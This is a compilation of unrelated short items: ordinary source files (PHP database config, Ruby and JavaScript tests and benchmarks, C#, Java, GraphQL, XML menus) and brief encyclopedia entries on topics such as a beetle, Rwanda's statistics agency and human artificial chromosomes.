$driver = EnvVars::DB_DRIVER->loadFromEnv();
$isMysqlCompatible = contains($driver, ['maria', 'mysql']);
$resolveDriver = static fn () => match ($driver) {
'postgres' => 'pdo_pgsql',
'mssql' => 'pdo_sqlsrv',
default => 'pdo_mysql',
};
$readCredentialAsString = static function (EnvVars $envVar): string|null {
$value = $envVar->loadFromEnv();
return $value === null ? null : (string) $value;
};
$resolveDefaultPort = static fn () => match ($driver) {
'postgres' => '5432',
'mssql' => '1433',
default => '3306',
};
$resolveCharset = static fn () => match ($driver) {
// This does not determine charsets or collations in tables or columns, but the charset used in the data
// flowing in the connection, so it has to match what has been set in the database.
'maria', 'mysql' => 'utf8mb4',
'postgres' => 'utf8',
default => null,
};
$resolveConnection = static fn () => match ($driver) {
null, 'sqlite' => [
'driver' => 'pdo_sqlite',
'path' => 'data/database.sqlite',
],
default => [
'driver' => $resolveDriver(),
'dbname' => EnvVars::DB_NAME->loadFromEnv('shlink'),
'user' => $readCredentialAsString(EnvVars::DB_USER),
'password' => $readCredentialAsString(EnvVars::DB_PASSWORD),
'host' => EnvVars::DB_HOST->loadFromEnv(EnvVars::DB_UNIX_SOCKET->loadFromEnv()),
'port' => EnvVars::DB_PORT->loadFromEnv($resolveDefaultPort()),
'unix_socket' => $isMysqlCompatible ? EnvVars::DB_UNIX_SOCKET->loadFromEnv() : null,
'charset' => $resolveCharset(),
'driverOptions' => $driver !== 'mssql' ? [] : [
'TrustServerCertificate' => 'true',
],
],
};
return [
'entity_manager' => [
'orm' => [
'proxies_dir' => 'data/proxies',
'load_mappings_using_functional_style' => true,
'default_repository_classname' => EntitySpecificationRepository::class,
'listeners' => [
Events::onFlush => [ShortUrlVisitsCountTracker::class, OrphanVisitsCountTracker::class],
Events::postFlush => [ShortUrlVisitsCountTracker::class, OrphanVisitsCountTracker::class],
],
],
'connection' => $resolveConnection(),
],
];
})();
```
|
Acallepitrix nitens is a species of flea beetle in the family Chrysomelidae. It is found in North America.
References
Further reading
Alticini
Articles created by Qbugbot
Beetles described in 1889
|
```smalltalk
using Volo.Abp.Caching;
using Volo.Abp.Modularity;
namespace Volo.Abp.BlobStoring.Aws;
[DependsOn(typeof(AbpBlobStoringModule),
typeof(AbpCachingModule))]
public class AbpBlobStoringAwsModule : AbpModule
{
public override void ConfigureServices(ServiceConfigurationContext context)
{
}
}
```
|
The National Institute of Statistics of Rwanda (NISR; ) is a government-owned agency responsible for collecting, analyzing, archiving and disseminating national statistical data, with the objective of aiding the government of Rwanda in making appropriate, timely, evidence-based national decisions.
Prior to September 2005 it was known as the Direction de la Statistique.
Location
The headquarters of NISR are located on KN2 Avenue, in the Nyarugenge neighborhood of the city of Kigali, Rwanda's capital city. The coordinates of the agency's headquarters are 01°56'29.0"S, 30°03'26.0"E (Latitude:-1.941384; Longitude:30.057225).
Overview
Among its multiple functions, is the task of working with the National Census Commission to process the census data, including the validation, tabulation, dissemination and archiving of the final census data. The last national census was conducted in August 2012. The agency also publishes periodic national economic data for Rwanda.
See also
Economy of Rwanda
Diane Karusisi
References
External links
Website of National Institute of Statistics of Rwanda
Government of Rwanda
Economy of Rwanda
Organizations established in 2005
2005 establishments in Rwanda
Rwanda
Kigali
|
Samarkandek (, ) is a village in Batken Region of Kyrgyzstan. It is the seat of the Samarkandek rural community (, ayyl aymagy) within the Batken District. Its population was 8,015 in 2021.
Until 2013, the strategic road Batken-Isfana passed through Samarkandek. In 2013, ethnic conflict between enclave of Tajikistan, Vorukh and Samarkandyk led to mutual closing of borders. As Batken-Isfana road passed through Voruh also, government officials started to build a detouring road which would lay entirely in Kyrgyzstan borders. This latter event left Samarkandyk off the road.
Population
References
Populated places in Batken Region
|
```ruby
require_relative '../spec_helper'
describe "The loop expression" do
it "repeats the given block until a break is called" do
outer_loop = 0
loop do
outer_loop += 1
break if outer_loop == 10
end
outer_loop.should == 10
end
it "executes code in its own scope" do
loop do
inner_loop = 123
break
end
-> { inner_loop }.should raise_error(NameError)
end
it "returns the value passed to break if interrupted by break" do
loop do
break 123
end.should == 123
end
it "returns nil if interrupted by break with no arguments" do
loop do
break
end.should == nil
end
it "skips to end of body with next" do
a = []
i = 0
loop do
break if (i+=1) >= 5
next if i == 3
a << i
end
a.should == [1, 2, 4]
end
it "restarts the current iteration with redo" do
a = []
loop do
a << 1
redo if a.size < 2
a << 2
break if a.size == 3
end
a.should == [1, 1, 2]
end
it "uses a spaghetti nightmare of redo, next and break" do
a = []
loop do
a << 1
redo if a.size == 1
a << 2
next if a.size == 3
a << 3
break if a.size > 6
end
a.should == [1, 1, 2, 1, 2, 3, 1, 2, 3]
end
end
```
|
```javascript
/**
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
'use strict';
// MODULES //
var bench = require( '@stdlib/bench' );
var randu = require( '@stdlib/random/base/randu' );
var round = require( '@stdlib/math/base/special/round' );
var isnan = require( '@stdlib/math/base/assert/is-nan' );
var pkg = require( './../package.json' ).name;
var Degenerate = require( './../lib' );
// MAIN //
bench( pkg+'::instantiation', function benchmark( b ) {
var dist;
var mu;
var i;
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
mu = randu() * 10.0;
dist = new Degenerate( mu );
if ( !( dist instanceof Degenerate ) ) {
b.fail( 'should return a distribution instance' );
}
}
b.toc();
if ( !( dist instanceof Degenerate ) ) {
b.fail( 'should return a distribution instance' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+'::get:mu', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
y = dist.mu;
if ( y !== mu ) {
b.fail( 'should return set value' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+'::set:mu', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
y = randu();
dist.mu = y;
if ( dist.mu !== y ) {
b.fail( 'should return set value' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':entropy', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
dist.mu = randu();
y = dist.entropy;
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':mode', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
dist.mu = randu();
y = dist.mode;
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':mean', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
dist.mu = randu();
y = dist.mean;
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':median', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
dist.mu = randu();
y = dist.median;
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':stdev', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
dist.mu = randu();
y = dist.stdev;
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':variance', function benchmark( b ) {
var dist;
var mu;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
dist.mu = randu();
y = dist.variance;
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':cdf', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = randu() * 6.0;
y = dist.cdf( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':logcdf', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = randu() * 6.0;
y = dist.logcdf( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':logpdf', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = randu() * 6.0;
y = dist.logpdf( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':logpmf', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = randu() * 6.0;
y = dist.logpmf( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':mgf', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = randu() * 10.0;
y = dist.mgf( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':pdf', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = randu() * 6.0;
y = dist.pdf( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':pmf', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = round( randu() * 8.0 );
y = dist.pmf( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+':quantile', function benchmark( b ) {
var dist;
var mu;
var x;
var y;
var i;
mu = 2.0;
dist = new Degenerate( mu );
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
x = randu();
y = dist.quantile( x );
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnan( y ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
});
```
|
```smalltalk
using SixLabors.ImageSharp.Processing.Processors.Filters;
namespace SixLabors.ImageSharp.Processing;
/// <summary>
/// Defines extensions that allow the alteration of the hue component of an <see cref="Image"/>
/// using Mutate/Clone.
/// </summary>
public static class HueExtensions
{
/// <summary>
/// Alters the hue component of the image.
/// </summary>
/// <param name="source">The current image processing context.</param>
/// <param name="degrees">The rotation angle in degrees to adjust the hue.</param>
/// <returns>The <see cref="IImageProcessingContext"/>.</returns>
public static IImageProcessingContext Hue(this IImageProcessingContext source, float degrees)
=> source.ApplyProcessor(new HueProcessor(degrees));
/// <summary>
/// Alters the hue component of the image.
/// </summary>
/// <param name="source">The current image processing context.</param>
/// <param name="degrees">The rotation angle in degrees to adjust the hue.</param>
/// <param name="rectangle">
/// The <see cref="Rectangle"/> structure that specifies the portion of the image object to alter.
/// </param>
/// <returns>The <see cref="IImageProcessingContext"/>.</returns>
public static IImageProcessingContext Hue(this IImageProcessingContext source, float degrees, Rectangle rectangle)
=> source.ApplyProcessor(new HueProcessor(degrees), rectangle);
}
```
|
```shell
How to unmodify a modified file
Finding a tag
Make your log output pretty
Remote repositories: viewing, editing and deleting
Remote repositories: fetching and pushing
```
|
```xml
import { gql } from "@apollo/client"
const addEditParamDefs = `
$beginDate: Date
$description: String
$details: JSON
$endDate: Date
$status: String
$userId: String
`
const addEditParams = `
beginDate: $beginDate
description: $description
details: $details
endDate: $endDate
status: $status
userId: $userId
`
const coversAdd = gql`
mutation CoversAdd(
${addEditParamDefs}
) {
coversAdd(
${addEditParams}
) {
_id
}
}
`
const coversEdit = gql`
mutation CoversEdit(
$id: String!
${addEditParamDefs}
) {
coversEdit(
_id: $id
${addEditParams}
) {
_id
}
}
`
const coversConfirm = gql`
mutation CoversConfirm($_id: String!) {
coversConfirm(_id: $_id) {
_id
}
}
`
const coversDelete = gql`
mutation CoversRemove($_id: String!) {
coversRemove(_id: $_id)
}
`
const mutations = { coversAdd, coversEdit, coversConfirm, coversDelete }
export default mutations
```
|
Kevin Cloud is an American video game artist. He graduated from LSU-Shreveport in 1987 with a degree in political science. Cloud acquired his first full-time job as a computer artist at Softdisk in 1985. He was hired by id Software on March 10, 1992 to work as an assistant artist to lead artist Adrian Carmack, where he remained to work on popular computer games such as Wolfenstein 3D, Doom, and Quake, climbing the ranks of the company. Prior to his career at id, he was employed by Softdisk as an editorial director, where several other id founders worked. During that time he also worked as an illustrator for Softdisk's Commodore 64 disk magazine Loadstar. Cloud was an artist and co-owner of id until the ZeniMax Media merger in 2009, where he now serves as a senior producer.
Works
All games Cloud has worked on were developed by id Software unless stated otherwise.
References
External links
PlanetQuakeWars.net interview with Kevin Cloud
Kevin Cloud profile at MobyGames
Id Software people
Living people
Louisiana State University Shreveport alumni
Video game artists
Year of birth missing (living people)
|
```objective-c
//
// ZFRotationViewController.h
// ZFPlayer_Example
//
// Created by on 2019/6/4.
//
#import <UIKit/UIKit.h>
NS_ASSUME_NONNULL_BEGIN
@interface ZFRotationViewController : UIViewController
@end
NS_ASSUME_NONNULL_END
```
|
```objective-c
#pragma once
#include <vespa/vespalib/util/exception.h>
namespace vespalib::crypto {
VESPA_DEFINE_EXCEPTION(CryptoException, Exception);
}
```
|
Jouan Patrice Abanda Etong (born 3 August 1978) is a Cameroonian former professional footballer who played as a central defender.
He played for Apollon Kalamarias in Greece and Sparta Prague in the Czech Republic.
He played for Cameroon and participated at the 1998 FIFA World Cup, and the 2000 Summer Olympics where Cameroon won the gold medal.
External links
Profile at weltfussball.de
1978 births
Living people
Footballers from Yaoundé
Men's association football central defenders
Czech First League players
AC Sparta Prague players
PAOK FC players
Apollon Pontou F.C. players
1. FK Drnovice players
FK Teplice players
KF Besa Kavajë players
1998 FIFA World Cup players
Cameroon men's international footballers
Cameroonian expatriate men's footballers
Cameroonian expatriate sportspeople in Greece
Cameroonian expatriate sportspeople in the Czech Republic
Cameroonian men's footballers
Expatriate men's footballers in Albania
Expatriate men's footballers in Greece
Expatriate men's footballers in the Czech Republic
Footballers at the 2000 Summer Olympics
Olympic footballers for Cameroon
Olympic gold medalists for Cameroon
Cameroonian expatriate sportspeople in Albania
Olympic medalists in football
Medalists at the 2000 Summer Olympics
Kategoria Superiore players
|
A human artificial chromosome (HAC) is a microchromosome that can act as a new chromosome in a population of human cells. That is, instead of 46 chromosomes, the cell could have 47 with the 47th being very small, roughly 6–10megabases (Mb) in size instead of 50–250Mb for natural chromosomes, and able to carry new genes introduced by human researchers. Ideally, researchers could integrate different genes that perform a variety of functions, including disease defense.
Alternative methods of creating transgenes, such as utilizing yeast artificial chromosomes and bacterial artificial chromosomes, lead to unpredictable problems. The genetic material introduced by these vectors not only leads to different expression levels, but the inserts also disrupt the original genome. HACs differ in this regard, as they are entirely separate chromosomes. This separation from existing genetic material assumes that no insertional mutants would arise. This stability and accuracy makes HACs preferable to other methods such as viral vectors, YACs, and BACs. HACs allow for delivery of more DNA (including promoters and copy-number variation) than is possible with viral vectors.
Yeast artificial chromosomes and bacterial artificial chromosomes were created before human artificial chromosomes, which were first developed in 1997. HACs are useful in expression studies as gene transfer vectors, as a tool for elucidating human chromosome function, and as a method for actively annotating the human genome.
History
HACs were first constructed de novo in 1997 by adding alpha-satellite DNA to telomeric and genomic DNA in human HT1080 cells. This resulted in an entirely new microchromosome that contained DNA of interest, as well as elements allowing it to be structurally and mitotically stable, such as telomeric and centromeric sequences. Due to the difficulty of de novo HAC formation, this method has largely been abandoned.
Construction methods
There are currently two accepted models for the creation of human artificial chromosome vectors. The first is to create a small minichromosome by altering a natural human chromosome. This is accomplished by truncating the natural chromosome, followed by the introduction of unique genetic material via the Cre-Lox system of recombination. The second method involves the literal creation of a novel chromosome de novo. Progress regarding de novo HAC formation has been limited, as many large genomic fragments will not successfully integrate into de novo vectors. Another factor limiting de novo vector formation is limited knowledge of what elements are required for construction, specifically centromeric sequences. However, challenges involving centromeric sequences have begun to be overcome.
Applications
A 2009 study has shown additional benefits of HACs, namely their ability to stably contain extremely large genomic fragments. Researchers incorporated the 2.4Mb dystrophin gene, in which a mutation is a key causal element of Duchenne muscular dystrophy. The resulting HAC was mitotically stable, and correctly expressed dystrophin in chimeric mice. Previous attempts at correctly expressing dystrophin have failed. Due to its large size, it has never before been successfully integrated into a vector.
In 2010, a refined human artificial chromosome called 21HAC was reported. 21HAC is based on a stripped copy of human chromosome 21, producing a chromosome 5Mb in length. Truncation of chromosome 21 resulted in a human artificial chromosome that was mitotically stable. 21HAC was also able to be transferred into cells from a variety of species (mice, chickens, humans). Using 21HAC, researchers were able to insert a herpes simplex virus thymidine kinase coding gene into tumor cells. This "suicide gene" is required to activate many antiviral medications. These targeted tumor cells were successfully, and selectively, terminated by the antiviral drug ganciclovir in a population including healthy cells. This research opens a variety of opportunities for using HACs in gene therapy.
In 2011, researchers formed a human artificial chromosome by truncating chromosome 14. Genetic material was then introduced using the Cre-Lox recombination system. This particular study focused on changes in expression levels by leaving portions of the existing genomic DNA. By leaving existing telomeric and sub-telomeric sequences, researchers were able to amplify expression levels of genes coding for erythropoietin production over 1000-fold. This work also has large gene therapy implications, as erythropoietin controls red blood cell formation.
HACs have been used to create transgenic animals for use as animal models of human disease and for production of therapeutic products.
See also
Plasmid
Cosmid
Fosmid
References
Molecular biology
|
Until It's Time for You to Go is an album by the jazz saxophonist Rusty Bryant, recorded for the Prestige label in 1974.
Reception
The Allmusic site awarded the album 3 stars stating "Until It's Time for You to Go is an album of tasteful commercialism... This is not an album of wimpy elevator Muzak; whether he is on alto or tenor, Bryant's playing is gutsy and substantial. And even if some of the material is over-arranged, Bryant still gets in his share of meaty solos. Not everything that Bryant recorded in the '70s was great, but Until It's Time for You to Go is among the late saxman's more memorable albums of that era".
Track listing
All compositions by Horace Ott except as indicated
"The Hump Bump" - 5:56
"Troubles" (Rev. Leroy Jenkins) - 4:32
"Red Eye Special" - 7:23
"Draggin' the Line" (Tommy James, Bob King) - 5:22
"Until It's Time for You to Go" (Buffy Sainte-Marie) - 5:33
"Ga Gang Gang Goong" (Ernie Hayes, Rusty Bryant) - 5:30
Personnel
Rusty Bryant - alto saxophone, tenor saxophone
Jon Faddis, Joe Shepley - trumpet
Billy Campbell, Garnett Brown - trombone
Seldon Powell - flute, tenor saxophone
Haywood Henry - flute, baritone saxophone
Babe Clark - baritone saxophone
George Devens - vibraphone, percussion
Horace Ott - piano, clavinet, electric piano, arranger, conductor
Ernie Hayes - organ
Hugh McCracken, David Spinozza - guitar
Wilbur Bascomb - electric bass
Bernard Purdie - drums
Production
Bob Porter - producer
Don Hahn - engineer
References
Rusty Bryant albums
1974 albums
Prestige Records albums
Albums arranged by Horace Ott
Albums produced by Bob Porter (record producer)
|
```python
__version__ = '14.0.0a1'
```
|
```ruby
# frozen_string_literal: true
require 'rails_helper'
RSpec.describe Admin::ExportDomainAllowsController do
render_views
before do
sign_in Fabricate(:user, role: UserRole.find_by(name: 'Admin')), scope: :user
end
describe 'GET #new' do
it 'returns http success' do
get :new
expect(response).to have_http_status(200)
end
end
describe 'GET #export' do
it 'renders instances' do
Fabricate(:domain_allow, domain: 'good.domain')
Fabricate(:domain_allow, domain: 'better.domain')
get :export, params: { format: :csv }
expect(response).to have_http_status(200)
expect(response.body).to eq(domain_allows_csv_file)
end
end
describe 'POST #import' do
it 'allows imported domains' do
post :import, params: { admin_import: { data: fixture_file_upload('domain_allows.csv') } }
expect(response).to redirect_to(admin_instances_path)
# Header should not be imported
expect(DomainAllow.where(domain: '#domain').present?).to be(false)
# Domains should now be added
get :export, params: { format: :csv }
expect(response).to have_http_status(200)
expect(response.body).to eq(domain_allows_csv_file)
end
it 'displays error on no file selected' do
post :import, params: { admin_import: {} }
expect(response).to redirect_to(admin_instances_path)
expect(flash[:error]).to eq(I18n.t('admin.export_domain_allows.no_file'))
end
end
private
def domain_allows_csv_file
File.read(File.join(file_fixture_path, 'domain_allows.csv'))
end
end
```
|
WTSD may refer to:
Waterford Township School District
West Tallahatchie School District
West Tennessee School for the Deaf
Wong Tai Sin District, a district of Kowloon, Hong Kong
Woodbridge Township School District
WTSD (AM), a radio station (1190 AM) licensed to serve Leesburg, Virginia, United States
WTSD-CD, a defunct low-power television station (channel 23, virtual 14) formerly licensed to serve Philadelphia, Pennsylvania, United States
|
Safire may refer to:
Sa-Fire (born 1966), American vocalist
Safire (illusionists), a British illusion act
Safire Theatre complex, in Chennai, India
William Safire (1929–2009), American journalist and speechwriter
South African Identity Federation; see TENET (network)
See also
Saffire – The Uppity Blues Women, a three-woman blues band
Safir (disambiguation)
Saphir (disambiguation)
Saphire (disambiguation)
Sapphire (disambiguation)
Zefir (disambiguation)
Zephir (disambiguation)
Zephyr (disambiguation)
|
Huxiang Expressway (), designated S6 and originally known as A17 Expressway, is an expressway in Shanghai, China.
References
Expressways in Shanghai
|
```xml
<menubar>
<menu>M_File</menu>
<item>MI_NewScene</item>
<item>MI_LoadScene</item>
<item>MI_SaveScene</item>
<item>MI_SaveSceneAs</item>
<separator/>
<item>MI_LoadLevel </item>
<item>MI_SaveLevel</item>
<item>MI_SaveLevelAs</item>
<separator/>
<item>MI_Render</item>
<separator/>
<item>MI_ShortcutPopup</item>
<separator/>
<item>MI_Quit</item>
<menu>M_Edit</menu>
<item>MI_Undo</item>
<item>MI_Redo</item>
<separator/>
<item>MI_Cut</item>
<item>MI_Copy</item>
<item>MI_Paste</item>
<separator/>
<item>MI_Clear</item>
<item>MI_Insert</item>
<menu>M_Level</menu>
<item>MI_AddFilmstripFramesPopup</item>
<item>MI_OpenRenumberPopup</item>
<item>MI_ConverttoVectors</item>
<separator/>
<item>MI_MovetoScene</item>
<item>MI_MovetoFilmstrip</item>
<separator/>
<item>MI_FileInfo</item>
<separator/>
<item>MI_RemoveUnused</item>
<menu>M_Xsheet</menu>
<item>MI_SceneSettings</item>
<separator/>
<item>MI_OpenChild</item>
<item>MI_CloseChild</item>
<item>MI_Collapse</item>
<item>MI_SaveSubxsheetAs</item>
<item>MI_Resequence</item>
<menu>M_Cells</menu>
<item>MI_Reverse</item>
<item>MI_Swing </item>
<item>MI_Random </item>
<separator/>
<item>MI_Step2</item>
<item>MI_Step3</item>
<item>MI_Step4</item>
<item>MI_Each2</item>
<item>MI_Each3</item>
<item>MI_Each4</item>
<separator/>
<item>MI_Duplicate</item>
<item>MI_CloneLevel</item>
<menu>M_View</menu>
<item>MI_ViewTable</item>
<item>MI_FieldGuide</item>
<item>MI_SafeArea</item>
<separator/>
<item>MI_TCheck</item>
<menu>M_Windows</menu>
<item>MI_OpenFileViewer</item>
<item>MI_OpenPltView</item>
<item>MI_OpenFileBrowser2</item>
<item>MI_OpenStyleControl</item>
<item>MI_OpenLevelView</item>
<item>MI_OpenXshView</item>
<item>MI_OpenTimelineView</item>
</menubar>
```
|
```java
/*
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.apache.beam.fn.harness.state;
import static org.apache.beam.vendor.guava.v32_1_2_jre.com.google.common.base.Preconditions.checkArgument;
import static org.apache.beam.vendor.guava.v32_1_2_jre.com.google.common.base.Preconditions.checkState;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.apache.beam.fn.harness.Cache;
import org.apache.beam.fn.harness.state.StateFetchingIterators.CachingStateIterable;
import org.apache.beam.model.fnexecution.v1.BeamFnApi.StateAppendRequest;
import org.apache.beam.model.fnexecution.v1.BeamFnApi.StateClearRequest;
import org.apache.beam.model.fnexecution.v1.BeamFnApi.StateKey;
import org.apache.beam.model.fnexecution.v1.BeamFnApi.StateRequest;
import org.apache.beam.sdk.coders.Coder;
import org.apache.beam.sdk.fn.stream.PrefetchableIterable;
import org.apache.beam.sdk.fn.stream.PrefetchableIterables;
import org.apache.beam.sdk.util.ByteStringOutputStream;
import org.apache.beam.vendor.guava.v32_1_2_jre.com.google.common.collect.Iterables;
/**
* An implementation of a bag user state that utilizes the Beam Fn State API to fetch, clear and
* persist values.
*
* <p>Calling {@link #asyncClose()} schedules any required persistence changes. This object should
* no longer be used after it is closed.
*
* <p>TODO: Move to an async persist model where persistence is signalled based upon cache memory
* pressure and its need to flush.
*/
public class BagUserState<T> {
private final Cache<?, ?> cache;
private final BeamFnStateClient beamFnStateClient;
private final StateRequest request;
private final Coder<T> valueCoder;
private final CachingStateIterable<T> oldValues;
private List<T> newValues;
private boolean isCleared;
private boolean isClosed;
static final int BAG_APPEND_BATCHING_LIMIT = 10 * 1024 * 1024;
/** The cache must be namespaced for this state object accordingly. */
public BagUserState(
Cache<?, ?> cache,
BeamFnStateClient beamFnStateClient,
String instructionId,
StateKey stateKey,
Coder<T> valueCoder) {
checkArgument(
stateKey.hasBagUserState(), "Expected BagUserState StateKey but received %s.", stateKey);
this.cache = cache;
this.beamFnStateClient = beamFnStateClient;
this.valueCoder = valueCoder;
this.request =
StateRequest.newBuilder().setInstructionId(instructionId).setStateKey(stateKey).build();
this.oldValues =
StateFetchingIterators.readAllAndDecodeStartingFrom(
this.cache, beamFnStateClient, request, valueCoder);
this.newValues = new ArrayList<>();
}
public PrefetchableIterable<T> get() {
checkState(
!isClosed,
"Bag user state is no longer usable because it is closed for %s",
request.getStateKey());
if (isCleared) {
// If we were cleared we should disregard old values.
return PrefetchableIterables.limit(Collections.unmodifiableList(newValues), newValues.size());
} else if (newValues.isEmpty()) {
// If we have no new values then just return the old values.
return oldValues;
}
return PrefetchableIterables.concat(
oldValues, Iterables.limit(Collections.unmodifiableList(newValues), newValues.size()));
}
public void append(T t) {
checkState(
!isClosed,
"Bag user state is no longer usable because it is closed for %s",
request.getStateKey());
newValues.add(t);
}
public void clear() {
checkState(
!isClosed,
"Bag user state is no longer usable because it is closed for %s",
request.getStateKey());
isCleared = true;
newValues = new ArrayList<>();
}
@SuppressWarnings("FutureReturnValueIgnored")
public void asyncClose() throws Exception {
checkState(
!isClosed,
"Bag user state is no longer usable because it is closed for %s",
request.getStateKey());
isClosed = true;
if (!isCleared && newValues.isEmpty()) {
return;
}
if (isCleared) {
beamFnStateClient.handle(
request.toBuilder().setClear(StateClearRequest.getDefaultInstance()));
}
if (!newValues.isEmpty()) {
// Batch values up to a arbitrary limit to reduce overhead of write
// requests. We treat this limit as strict to ensure that large elements
// are not batched as they may otherwise exceed runner limits.
ByteStringOutputStream out = new ByteStringOutputStream();
for (T newValue : newValues) {
int previousSize = out.size();
valueCoder.encode(newValue, out);
if (out.size() > BAG_APPEND_BATCHING_LIMIT && previousSize > 0) {
// Respect the batching limit by outputting the previous batch of
// elements.
beamFnStateClient.handle(
request
.toBuilder()
.setAppend(
StateAppendRequest.newBuilder()
.setData(out.consumePrefixToByteString(previousSize))));
}
if (out.size() > BAG_APPEND_BATCHING_LIMIT) {
// The last element was over the batching limit by itself. To avoid
// exceeding runner state limits due to large elements, we output
// without additional batching.
beamFnStateClient.handle(
request
.toBuilder()
.setAppend(StateAppendRequest.newBuilder().setData(out.toByteStringAndReset())));
}
}
if (out.size() > 0) {
beamFnStateClient.handle(
request
.toBuilder()
.setAppend(StateAppendRequest.newBuilder().setData(out.toByteStringAndReset())));
}
}
// Modify the underlying cached state depending on the mutations performed
if (isCleared) {
// Note this takes ownership of newValues. This object is no longer used after it has been
// closed.
oldValues.clearAndAppend(newValues);
} else {
oldValues.append(newValues);
}
}
}
```
|
Esfandabad () may refer to:
Esfandabad, Kurdistan
